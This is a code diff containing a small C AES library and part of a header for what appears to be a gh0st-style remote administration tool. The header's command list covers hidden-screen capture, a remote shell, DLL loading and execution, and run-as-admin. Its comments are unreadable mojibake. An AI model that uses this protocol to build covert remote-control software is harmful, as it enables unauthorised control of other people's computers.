#if defined(AES256) && (AES256 == 1)
|
||||||
|
if (i % Nk == 4)
|
||||||
|
{
|
||||||
|
// Function Subword()
|
||||||
|
{
|
||||||
|
tempa[0] = getSBoxValue(tempa[0]);
|
||||||
|
tempa[1] = getSBoxValue(tempa[1]);
|
||||||
|
tempa[2] = getSBoxValue(tempa[2]);
|
||||||
|
tempa[3] = getSBoxValue(tempa[3]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
j = i * 4; k=(i - Nk) * 4;
|
||||||
|
RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];
|
||||||
|
RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];
|
||||||
|
RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];
|
||||||
|
RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key)
|
||||||
|
{
|
||||||
|
KeyExpansion(ctx->RoundKey, key);
|
||||||
|
}
|
||||||
|
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||||
|
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv)
|
||||||
|
{
|
||||||
|
KeyExpansion(ctx->RoundKey, key);
|
||||||
|
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
|
||||||
|
}
|
||||||
|
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv)
|
||||||
|
{
|
||||||
|
memcpy (ctx->Iv, iv, AES_BLOCKLEN);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// This function adds the round key to state.
|
||||||
|
// The round key is added to the state by an XOR function.
|
||||||
|
static void AddRoundKey(uint8_t round, state_t* state, const uint8_t* RoundKey)
|
||||||
|
{
|
||||||
|
uint8_t i,j;
|
||||||
|
for (i = 0; i < 4; ++i)
|
||||||
|
{
|
||||||
|
for (j = 0; j < 4; ++j)
|
||||||
|
{
|
||||||
|
(*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// The SubBytes Function Substitutes the values in the
|
||||||
|
// state matrix with values in an S-box.
|
||||||
|
static void SubBytes(state_t* state)
|
||||||
|
{
|
||||||
|
uint8_t i, j;
|
||||||
|
for (i = 0; i < 4; ++i)
|
||||||
|
{
|
||||||
|
for (j = 0; j < 4; ++j)
|
||||||
|
{
|
||||||
|
(*state)[j][i] = getSBoxValue((*state)[j][i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// The ShiftRows() function shifts the rows in the state to the left.
|
||||||
|
// Each row is shifted with different offset.
|
||||||
|
// Offset = Row number. So the first row is not shifted.
|
||||||
|
static void ShiftRows(state_t* state)
|
||||||
|
{
|
||||||
|
uint8_t temp;
|
||||||
|
|
||||||
|
// Rotate first row 1 columns to left
|
||||||
|
temp = (*state)[0][1];
|
||||||
|
(*state)[0][1] = (*state)[1][1];
|
||||||
|
(*state)[1][1] = (*state)[2][1];
|
||||||
|
(*state)[2][1] = (*state)[3][1];
|
||||||
|
(*state)[3][1] = temp;
|
||||||
|
|
||||||
|
// Rotate second row 2 columns to left
|
||||||
|
temp = (*state)[0][2];
|
||||||
|
(*state)[0][2] = (*state)[2][2];
|
||||||
|
(*state)[2][2] = temp;
|
||||||
|
|
||||||
|
temp = (*state)[1][2];
|
||||||
|
(*state)[1][2] = (*state)[3][2];
|
||||||
|
(*state)[3][2] = temp;
|
||||||
|
|
||||||
|
// Rotate third row 3 columns to left
|
||||||
|
temp = (*state)[0][3];
|
||||||
|
(*state)[0][3] = (*state)[3][3];
|
||||||
|
(*state)[3][3] = (*state)[2][3];
|
||||||
|
(*state)[2][3] = (*state)[1][3];
|
||||||
|
(*state)[1][3] = temp;
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint8_t xtime(uint8_t x)
|
||||||
|
{
|
||||||
|
return ((x<<1) ^ (((x>>7) & 1) * 0x1b));
|
||||||
|
}
|
||||||
|
|
||||||
|
// MixColumns function mixes the columns of the state matrix
|
||||||
|
static void MixColumns(state_t* state)
|
||||||
|
{
|
||||||
|
uint8_t i;
|
||||||
|
uint8_t Tmp, Tm, t;
|
||||||
|
for (i = 0; i < 4; ++i)
|
||||||
|
{
|
||||||
|
t = (*state)[i][0];
|
||||||
|
Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;
|
||||||
|
Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ;
|
||||||
|
Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ;
|
||||||
|
Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ;
|
||||||
|
Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Multiply is used to multiply numbers in the field GF(2^8)
|
||||||
|
// Note: The last call to xtime() is unneeded, but often ends up generating a smaller binary
|
||||||
|
// The compiler seems to be able to vectorize the operation better this way.
|
||||||
|
// See https://github.com/kokke/tiny-AES-c/pull/34
|
||||||
|
#if MULTIPLY_AS_A_FUNCTION
|
||||||
|
static uint8_t Multiply(uint8_t x, uint8_t y)
|
||||||
|
{
|
||||||
|
return (((y & 1) * x) ^
|
||||||
|
((y>>1 & 1) * xtime(x)) ^
|
||||||
|
((y>>2 & 1) * xtime(xtime(x))) ^
|
||||||
|
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^
|
||||||
|
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))); /* this last call to xtime() can be omitted */
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
#define Multiply(x, y) \
|
||||||
|
( ((y & 1) * x) ^ \
|
||||||
|
((y>>1 & 1) * xtime(x)) ^ \
|
||||||
|
((y>>2 & 1) * xtime(xtime(x))) ^ \
|
||||||
|
((y>>3 & 1) * xtime(xtime(xtime(x)))) ^ \
|
||||||
|
((y>>4 & 1) * xtime(xtime(xtime(xtime(x)))))) \
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||||
|
/*
|
||||||
|
static uint8_t getSBoxInvert(uint8_t num)
|
||||||
|
{
|
||||||
|
return rsbox[num];
|
||||||
|
}
|
||||||
|
*/
|
||||||
|
#define getSBoxInvert(num) (rsbox[(num)])
|
||||||
|
|
||||||
|
// MixColumns function mixes the columns of the state matrix.
|
||||||
|
// The method used to multiply may be difficult to understand for the inexperienced.
|
||||||
|
// Please use the references to gain more information.
|
||||||
|
static void InvMixColumns(state_t* state)
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
uint8_t a, b, c, d;
|
||||||
|
for (i = 0; i < 4; ++i)
|
||||||
|
{
|
||||||
|
a = (*state)[i][0];
|
||||||
|
b = (*state)[i][1];
|
||||||
|
c = (*state)[i][2];
|
||||||
|
d = (*state)[i][3];
|
||||||
|
|
||||||
|
(*state)[i][0] = Multiply(a, 0x0e) ^ Multiply(b, 0x0b) ^ Multiply(c, 0x0d) ^ Multiply(d, 0x09);
|
||||||
|
(*state)[i][1] = Multiply(a, 0x09) ^ Multiply(b, 0x0e) ^ Multiply(c, 0x0b) ^ Multiply(d, 0x0d);
|
||||||
|
(*state)[i][2] = Multiply(a, 0x0d) ^ Multiply(b, 0x09) ^ Multiply(c, 0x0e) ^ Multiply(d, 0x0b);
|
||||||
|
(*state)[i][3] = Multiply(a, 0x0b) ^ Multiply(b, 0x0d) ^ Multiply(c, 0x09) ^ Multiply(d, 0x0e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// The SubBytes Function Substitutes the values in the
|
||||||
|
// state matrix with values in an S-box.
|
||||||
|
static void InvSubBytes(state_t* state)
|
||||||
|
{
|
||||||
|
uint8_t i, j;
|
||||||
|
for (i = 0; i < 4; ++i)
|
||||||
|
{
|
||||||
|
for (j = 0; j < 4; ++j)
|
||||||
|
{
|
||||||
|
(*state)[j][i] = getSBoxInvert((*state)[j][i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void InvShiftRows(state_t* state)
|
||||||
|
{
|
||||||
|
uint8_t temp;
|
||||||
|
|
||||||
|
// Rotate first row 1 columns to right
|
||||||
|
temp = (*state)[3][1];
|
||||||
|
(*state)[3][1] = (*state)[2][1];
|
||||||
|
(*state)[2][1] = (*state)[1][1];
|
||||||
|
(*state)[1][1] = (*state)[0][1];
|
||||||
|
(*state)[0][1] = temp;
|
||||||
|
|
||||||
|
// Rotate second row 2 columns to right
|
||||||
|
temp = (*state)[0][2];
|
||||||
|
(*state)[0][2] = (*state)[2][2];
|
||||||
|
(*state)[2][2] = temp;
|
||||||
|
|
||||||
|
temp = (*state)[1][2];
|
||||||
|
(*state)[1][2] = (*state)[3][2];
|
||||||
|
(*state)[3][2] = temp;
|
||||||
|
|
||||||
|
// Rotate third row 3 columns to right
|
||||||
|
temp = (*state)[0][3];
|
||||||
|
(*state)[0][3] = (*state)[1][3];
|
||||||
|
(*state)[1][3] = (*state)[2][3];
|
||||||
|
(*state)[2][3] = (*state)[3][3];
|
||||||
|
(*state)[3][3] = temp;
|
||||||
|
}
|
||||||
|
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||||
|
|
||||||
|
// Cipher is the main function that encrypts the PlainText.
|
||||||
|
static void Cipher(state_t* state, const uint8_t* RoundKey)
|
||||||
|
{
|
||||||
|
uint8_t round = 0;
|
||||||
|
|
||||||
|
// Add the First round key to the state before starting the rounds.
|
||||||
|
AddRoundKey(0, state, RoundKey);
|
||||||
|
|
||||||
|
// There will be Nr rounds.
|
||||||
|
// The first Nr-1 rounds are identical.
|
||||||
|
// These Nr rounds are executed in the loop below.
|
||||||
|
// Last one without MixColumns()
|
||||||
|
for (round = 1; ; ++round)
|
||||||
|
{
|
||||||
|
SubBytes(state);
|
||||||
|
ShiftRows(state);
|
||||||
|
if (round == Nr) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
MixColumns(state);
|
||||||
|
AddRoundKey(round, state, RoundKey);
|
||||||
|
}
|
||||||
|
// Add round key to last round
|
||||||
|
AddRoundKey(Nr, state, RoundKey);
|
||||||
|
}
|
||||||
|
|
||||||
|
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||||
|
static void InvCipher(state_t* state, const uint8_t* RoundKey)
|
||||||
|
{
|
||||||
|
uint8_t round = 0;
|
||||||
|
|
||||||
|
// Add the First round key to the state before starting the rounds.
|
||||||
|
AddRoundKey(Nr, state, RoundKey);
|
||||||
|
|
||||||
|
// There will be Nr rounds.
|
||||||
|
// The first Nr-1 rounds are identical.
|
||||||
|
// These Nr rounds are executed in the loop below.
|
||||||
|
// Last one without InvMixColumn()
|
||||||
|
for (round = (Nr - 1); ; --round)
|
||||||
|
{
|
||||||
|
InvShiftRows(state);
|
||||||
|
InvSubBytes(state);
|
||||||
|
AddRoundKey(round, state, RoundKey);
|
||||||
|
if (round == 0) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
InvMixColumns(state);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
#endif // #if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)
|
||||||
|
|
||||||
|
/*****************************************************************************/
|
||||||
|
/* Public functions: */
|
||||||
|
/*****************************************************************************/
|
||||||
|
#if defined(ECB) && (ECB == 1)
|
||||||
|
|
||||||
|
|
||||||
|
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf)
|
||||||
|
{
|
||||||
|
// The next function call encrypts the PlainText with the Key using AES algorithm.
|
||||||
|
Cipher((state_t*)buf, ctx->RoundKey);
|
||||||
|
}
|
||||||
|
|
||||||
|
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf)
|
||||||
|
{
|
||||||
|
// The next function call decrypts the PlainText with the Key using AES algorithm.
|
||||||
|
InvCipher((state_t*)buf, ctx->RoundKey);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#endif // #if defined(ECB) && (ECB == 1)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#if defined(CBC) && (CBC == 1)
|
||||||
|
|
||||||
|
|
||||||
|
static void XorWithIv(uint8_t* buf, const uint8_t* Iv)
|
||||||
|
{
|
||||||
|
uint8_t i;
|
||||||
|
for (i = 0; i < AES_BLOCKLEN; ++i) // The block in AES is always 128bit no matter the key size
|
||||||
|
{
|
||||||
|
buf[i] ^= Iv[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void AES_CBC_encrypt_buffer(struct AES_ctx *ctx, uint8_t* buf, size_t length)
|
||||||
|
{
|
||||||
|
size_t i;
|
||||||
|
uint8_t *Iv = ctx->Iv;
|
||||||
|
for (i = 0; i < length; i += AES_BLOCKLEN)
|
||||||
|
{
|
||||||
|
XorWithIv(buf, Iv);
|
||||||
|
Cipher((state_t*)buf, ctx->RoundKey);
|
||||||
|
Iv = buf;
|
||||||
|
buf += AES_BLOCKLEN;
|
||||||
|
}
|
||||||
|
/* store Iv in ctx for next call */
|
||||||
|
memcpy(ctx->Iv, Iv, AES_BLOCKLEN);
|
||||||
|
}
|
||||||
|
|
||||||
|
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
|
||||||
|
{
|
||||||
|
size_t i;
|
||||||
|
uint8_t storeNextIv[AES_BLOCKLEN];
|
||||||
|
for (i = 0; i < length; i += AES_BLOCKLEN)
|
||||||
|
{
|
||||||
|
memcpy(storeNextIv, buf, AES_BLOCKLEN);
|
||||||
|
InvCipher((state_t*)buf, ctx->RoundKey);
|
||||||
|
XorWithIv(buf, ctx->Iv);
|
||||||
|
memcpy(ctx->Iv, storeNextIv, AES_BLOCKLEN);
|
||||||
|
buf += AES_BLOCKLEN;
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // #if defined(CBC) && (CBC == 1)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#if defined(CTR) && (CTR == 1)
|
||||||
|
|
||||||
|
/* Symmetrical operation: same function for encrypting as for decrypting. Note any IV/nonce should never be reused with the same key */
|
||||||
|
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length)
|
||||||
|
{
|
||||||
|
uint8_t buffer[AES_BLOCKLEN];
|
||||||
|
|
||||||
|
size_t i;
|
||||||
|
int bi;
|
||||||
|
for (i = 0, bi = AES_BLOCKLEN; i < length; ++i, ++bi)
|
||||||
|
{
|
||||||
|
if (bi == AES_BLOCKLEN) /* we need to regen xor compliment in buffer */
|
||||||
|
{
|
||||||
|
|
||||||
|
memcpy(buffer, ctx->Iv, AES_BLOCKLEN);
|
||||||
|
Cipher((state_t*)buffer,ctx->RoundKey);
|
||||||
|
|
||||||
|
/* Increment Iv and handle overflow */
|
||||||
|
for (bi = (AES_BLOCKLEN - 1); bi >= 0; --bi)
|
||||||
|
{
|
||||||
|
/* inc will overflow */
|
||||||
|
if (ctx->Iv[bi] == 255)
|
||||||
|
{
|
||||||
|
ctx->Iv[bi] = 0;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
ctx->Iv[bi] += 1;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
bi = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
buf[i] = (buf[i] ^ buffer[bi]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif // #if defined(CTR) && (CTR == 1)
|
||||||
|
|
||||||
91
common/aes.h
Normal file
91
common/aes.h
Normal file
@@ -0,0 +1,91 @@
|
|||||||
|
#ifndef _AES_H_
|
||||||
|
#define _AES_H_
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
|
||||||
|
// #define the macros below to 1/0 to enable/disable the mode of operation.
|
||||||
|
//
|
||||||
|
// CBC enables AES encryption in CBC-mode of operation.
|
||||||
|
// CTR enables encryption in counter-mode.
|
||||||
|
// ECB enables the basic ECB 16-byte block algorithm. All can be enabled simultaneously.
|
||||||
|
|
||||||
|
// The #ifndef-guard allows it to be configured before #include'ing or at compile time.
|
||||||
|
#ifndef CBC
|
||||||
|
#define CBC 1
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef ECB
|
||||||
|
#define ECB 1
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef CTR
|
||||||
|
#define CTR 1
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
#define AES128 1
|
||||||
|
//#define AES192 1
|
||||||
|
//#define AES256 1
|
||||||
|
|
||||||
|
#define AES_BLOCKLEN 16 // Block length in bytes - AES is 128b block only
|
||||||
|
|
||||||
|
#if defined(AES256) && (AES256 == 1)
|
||||||
|
#define AES_KEYLEN 32
|
||||||
|
#define AES_keyExpSize 240
|
||||||
|
#elif defined(AES192) && (AES192 == 1)
|
||||||
|
#define AES_KEYLEN 24
|
||||||
|
#define AES_keyExpSize 208
|
||||||
|
#else
|
||||||
|
#define AES_KEYLEN 16 // Key length in bytes
|
||||||
|
#define AES_keyExpSize 176
|
||||||
|
#endif
|
||||||
|
|
||||||
|
struct AES_ctx
|
||||||
|
{
|
||||||
|
uint8_t RoundKey[AES_keyExpSize];
|
||||||
|
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||||
|
uint8_t Iv[AES_BLOCKLEN];
|
||||||
|
#endif
|
||||||
|
};
|
||||||
|
|
||||||
|
void AES_init_ctx(struct AES_ctx* ctx, const uint8_t* key);
|
||||||
|
#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))
|
||||||
|
void AES_init_ctx_iv(struct AES_ctx* ctx, const uint8_t* key, const uint8_t* iv);
|
||||||
|
void AES_ctx_set_iv(struct AES_ctx* ctx, const uint8_t* iv);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined(ECB) && (ECB == 1)
|
||||||
|
// buffer size is exactly AES_BLOCKLEN bytes;
|
||||||
|
// you need only AES_init_ctx as IV is not used in ECB
|
||||||
|
// NB: ECB is considered insecure for most uses
|
||||||
|
void AES_ECB_encrypt(const struct AES_ctx* ctx, uint8_t* buf);
|
||||||
|
void AES_ECB_decrypt(const struct AES_ctx* ctx, uint8_t* buf);
|
||||||
|
|
||||||
|
#endif // #if defined(ECB) && (ECB == !)
|
||||||
|
|
||||||
|
|
||||||
|
#if defined(CBC) && (CBC == 1)
|
||||||
|
// buffer size MUST be mutile of AES_BLOCKLEN;
|
||||||
|
// Suggest https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
|
||||||
|
// NOTES: you need to set IV in ctx via AES_init_ctx_iv() or AES_ctx_set_iv()
|
||||||
|
// no IV should ever be reused with the same key
|
||||||
|
void AES_CBC_encrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||||
|
void AES_CBC_decrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||||
|
|
||||||
|
#endif // #if defined(CBC) && (CBC == 1)
|
||||||
|
|
||||||
|
|
||||||
|
#if defined(CTR) && (CTR == 1)
|
||||||
|
|
||||||
|
// Same function for encrypting as for decrypting.
|
||||||
|
// IV is incremented for every block, and used after encryption as XOR-compliment for output
|
||||||
|
// Suggesting https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS7 for padding scheme
|
||||||
|
// NOTES: you need to set IV in ctx with AES_init_ctx_iv() or AES_ctx_set_iv()
|
||||||
|
// no IV should ever be reused with the same key
|
||||||
|
void AES_CTR_xcrypt_buffer(struct AES_ctx* ctx, uint8_t* buf, size_t length);
|
||||||
|
|
||||||
|
#endif // #if defined(CTR) && (CTR == 1)
|
||||||
|
|
||||||
|
|
||||||
|
#endif // _AES_H_
|
||||||
@@ -1,5 +1,4 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#include <vector>
|
#include <vector>
|
||||||
#include <string>
|
#include <string>
|
||||||
#include <iosfwd>
|
#include <iosfwd>
|
||||||
@@ -12,6 +11,8 @@
|
|||||||
#include <chrono>
|
#include <chrono>
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
#include <concrt.h>
|
#include <concrt.h>
|
||||||
#include <corecrt_io.h>
|
#include <corecrt_io.h>
|
||||||
#define MVirtualFree(a1, a2, a3) VirtualFree(a1, a2, a3)
|
#define MVirtualFree(a1, a2, a3) VirtualFree(a1, a2, a3)
|
||||||
@@ -58,9 +59,9 @@ typedef void* LPVOID, * HANDLE;
|
|||||||
#define CancelIo(p) close(reinterpret_cast<intptr_t>(p))
|
#define CancelIo(p) close(reinterpret_cast<intptr_t>(p))
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#include <string>
|
#include "ip_enc.h"
|
||||||
#include <vector>
|
|
||||||
#include <time.h>
|
#include <time.h>
|
||||||
|
#include <unordered_map>
|
||||||
|
|
||||||
#ifndef _MAX_PATH
|
#ifndef _MAX_PATH
|
||||||
#define _MAX_PATH 260
|
#define _MAX_PATH 260
|
||||||
@@ -72,6 +73,31 @@ typedef void* LPVOID, * HANDLE;
|
|||||||
|
|
||||||
#define FLAG_GHOST FLAG_FINDEN
|
#define FLAG_GHOST FLAG_FINDEN
|
||||||
|
|
||||||
|
// <20><><EFBFBD>س<EFBFBD><D8B3><EFBFBD>Ψһ<CEA8><D2BB>ʶ
|
||||||
|
#define MASTER_HASH "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
|
||||||
|
|
||||||
|
#ifndef GET_FILEPATH
|
||||||
|
#define GET_FILEPATH(dir,file) [](char*d,const char*f){char*p=d;while(*p)++p;while('\\'!=*p&&p!=d)--p;strcpy(p+1,f);return d;}(dir,file)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
inline int isValid_60s() {
|
||||||
|
static time_t tm = time(nullptr);
|
||||||
|
int span = int(time(nullptr) - tm);
|
||||||
|
return span <= 60;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline int isValid_30s() {
|
||||||
|
static time_t tm = time(nullptr);
|
||||||
|
int span = int(time(nullptr) - tm);
|
||||||
|
return span <= 30;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline int isValid_10s() {
|
||||||
|
static time_t tm = time(nullptr);
|
||||||
|
int span = int(time(nullptr) - tm);
|
||||||
|
return span <= 10;
|
||||||
|
}
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
#define DLL_VERSION __DATE__ // DLL<4C>汾
|
#define DLL_VERSION __DATE__ // DLL<4C>汾
|
||||||
|
|
||||||
@@ -160,6 +186,8 @@ enum
|
|||||||
COMMAND_UPDATE = 53, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
COMMAND_UPDATE = 53, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
COMMAND_SHARE = 59, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
COMMAND_SHARE = 59, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
COMMAND_PROXY = 60, // <20><><EFBFBD><EFBFBD>ӳ<EFBFBD><D3B3>
|
COMMAND_PROXY = 60, // <20><><EFBFBD><EFBFBD>ӳ<EFBFBD><D3B3>
|
||||||
|
TOKEN_SYSINFOLIST = 61, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
TOKEN_CHAT_START = 62, // Զ<>̽<EFBFBD≯
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
||||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
||||||
@@ -202,7 +230,12 @@ enum
|
|||||||
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
|
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
|
||||||
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
|
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
|
||||||
TOKEN_KEYFRAME=134, // <20>ؼ<EFBFBD>֡
|
TOKEN_KEYFRAME=134, // <20>ؼ<EFBFBD>֡
|
||||||
|
TOKEN_BITMAPINFO_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ
|
||||||
|
TOKEN_SCREEN_SIZE, // <20><>Ļ<EFBFBD><C4BB>С
|
||||||
|
TOKEN_DRIVE_LIST_PLUGIN = 150, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>(<28><><EFBFBD><EFBFBD>)
|
||||||
|
TOKEN_DRAWING_BOARD=151, // <20><><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
TOKEN_DECRYPT = 199,
|
||||||
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
||||||
COMMAND_REG_FIND, // ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
COMMAND_REG_FIND, // ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
||||||
TOKEN_REG_KEY,
|
TOKEN_REG_KEY,
|
||||||
@@ -212,8 +245,14 @@ enum
|
|||||||
|
|
||||||
SOCKET_DLLLOADER=210, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL
|
SOCKET_DLLLOADER=210, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL
|
||||||
CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD>
|
CMD_DLLDATA, // <20><>ӦDLL<4C><4C><EFBFBD><EFBFBD>
|
||||||
|
CMD_RUNASADMIN=214, // ADMIN <20><><EFBFBD><EFBFBD>
|
||||||
CMD_MASTERSETTING = 215, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
CMD_MASTERSETTING = 215, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
CMD_HEARTBEAT_ACK = 216, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ
|
CMD_HEARTBEAT_ACK = 216, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ
|
||||||
|
CMD_AUTHORIZATION = 222, // <20><>Ȩ
|
||||||
|
CMD_SERVER_ADDR = 229, // <20><><EFBFBD>ص<EFBFBD>ַ
|
||||||
|
TOKEN_ERROR = 230, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ
|
||||||
|
TOKEN_SHELL_DATA = 231, // <20>ն˽<D5B6><CBBD><EFBFBD>
|
||||||
|
CMD_EXECUTE_DLL = 240, // ִ<>д<EFBFBD><D0B4><EFBFBD>
|
||||||
};
|
};
|
||||||
|
|
||||||
